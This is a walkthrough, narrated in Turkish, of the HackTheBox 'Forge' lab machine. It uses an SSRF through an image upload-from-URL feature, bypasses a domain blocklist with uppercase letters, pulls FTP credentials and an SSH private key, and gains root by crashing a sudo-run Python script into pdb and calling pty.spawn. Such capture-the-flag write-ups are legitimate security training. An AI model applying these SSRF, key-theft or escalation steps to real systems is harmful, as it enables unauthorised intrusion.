HackTheBox Walkthrough : Forge

 



User



sudo nmap -sC -sS -sV -F 10.10.11.111 >scan.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-22 12:04 EEST
Nmap scan report for 10.10.11.111
Host is up (0.066s latency).
Not shown: 97 closed tcp ports (reset)
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.54 seconds
Sayfaya girer girmez forge.htb'ye yönlendiriliyorsunuz. Bunu /etc/hosts içine dahil etmeliyiz



Bir ters kabuk yüklemeye çalışırsak, dosya yüklenir. Ancak, size verdikleri url'ye giderseniz, bir resim gösteriliyor gibi görünüyor.

Uzaktan yükleme özelliğini kullanmayı denedim. Giriş olarak localhost veya forge.htb kullanarak bu alan adlarının yasaklandığına dair bir hata alıyoruz.

http://10.10.11.111/index.php kullanarak düzeltemediğim garip bir hata alıyoruz. IP'yi forge.htb etki alanına yönlendirdi, ancak / kayboldu.


An error occured! Error : HTTPConnectionPool(host='forge.htbindex.php', port=80): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f6fac13dd00>: Failed to establish a new connection: [Errno -3] Temporary failure in name resolution'))

Birçok denemeden sonra, forge.htb alan adını büyük harflerle yazdım ve işe yaradı… Böylece yasaklı alan listesini atlayabiliriz.

Gobuster kullanarak bir yönetici alt etki alanı buldum: admin.forge.htb


===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain:     forge.htb
[+] Threads:    10
[+] Timeout:    1s
[+] Wordlist:   /usr/share/dirbuster/directory-list-2.3-medium.txt
===============================================================
2021/10/22 18:32:00 Starting gobuster in DNS enumeration mode
===============================================================
Found: admin.forge.htb

Yalnızca localhosta izin veriyor!


URL'den yüklemeyi kullanarak bir Sunucu Tarafı İstek Sahteciliği gerçekleştirebiliriz (güzel makine). http://ADMIN.FORGE.HTB girin :

<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>

announcement  sayfası:

<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>
</html>
Ftp sunucusuna giriş yapmaya çalışırsanız bağlantı kurulamaz. Bununla birlikte, duyurular /upload'ı ftp ile kullanma olasılığından da bahsetmektedir. Şunu deneyelim:http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB
Dosyayı başarıyla yükledi, böylece içeriği curl ile kontrol edebiliriz:
drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Oct 22 12:30 user.txt

Aslında kullanıcı dizinidir. Bu dizine doğrudan bir şey yükleyemediğimiz için ssh anahtarı alıp alamayacağımızı kontrol edelim (bir ssh servisi olduğu için).

.ssh klasörünü aşağıdaki sorgu ile kontrol edersek: http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/.ssh/ bir RSA anahtarı olduğunu görebiliriz. :

-rw-------    1 1000     1000          564 May 31 12:35 authorized_keys
-rw-------    1 1000     1000         2590 May 20 08:30 id_rsa
-rw-------    1 1000     1000          564 May 20 08:30 id_rsa.pub

Aşağıdaki sorgu ile alıp bir dosyaya (ssh_user) kaydedebiliriz. http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/.ssh/id_rsa
ssh -i ssh_user user@10.10.11.111
Ve giriş yaptık!

Root

Parola olmadan sudo gibi çalışacak şeyleri kontrol edelim:

user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
Script:
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

Yerel olarak bir TCP soketi açıyor ve bazı basit yönetim komutlarını (görünüşe göre tehlikeli bir şey değil) gerçekleştirmek için bir sunucu olarak çalışıyor. Ama bunu düşünürseniz, örneğin bir df yürütülebilir dosyası oluşturabilir ve onu yola ekleyebiliriz, böylece orijinali yerine yürütülür.

Komut dosyasını şu şekilde çalıştırabiliriz:

sudo python3 /opt/remote-manage.py
Listening on localhost:38134
Komut dosyasında netcat komutuyla (tcp soketine bağlanmak için) yeni bir ssh bağlantısı açarsanız girebileceğiniz sabit kodlu bir şifre olduğunu görebiliriz
user@forge:~$ nc localhost 38134
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit

.NET'i görene kadar kötü amaçlı df yürütülebilir dosyasını yapacaktım import pdbPDB, python'u da çalıştırabilen Python Hata Ayıklayıcısıdır, böylece etkileşimli bir kabuk oluşturabiliriz.

Denemede bir hata olduğunda hata ayıklayıcı çağrılır. Sayı olmayan bir şey girmemiz veya sorulduğunda bağlantıyı kapatmamız dışında kolayca girebiliriz.


user@forge:~$ nc localhost 38134
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
^C


Bu, sunucu ssh oturumunda bir pdb oturumu oluşturacaktır

sudo python3 /opt/remote-manage.py
Listening on localhost:38134
invalid literal for int() with base 10: b''
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb)
Söylediğimiz gibi, pdb python kodunu çalıştırmanıza izin verir. Muhtemelen şimdi bu noktada python ile etkileşimli bir kabuğu nasıl çağıracağınızı söylersiniz:

Listening on localhost:38134
invalid literal for int() with base 10: b''
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) import pty
(Pdb) pty.spawn("/bin/bash")
root@forge:/home/user#



Ve sonra kök bayrağı 🤠 okuyabiliriz.



Yorumlar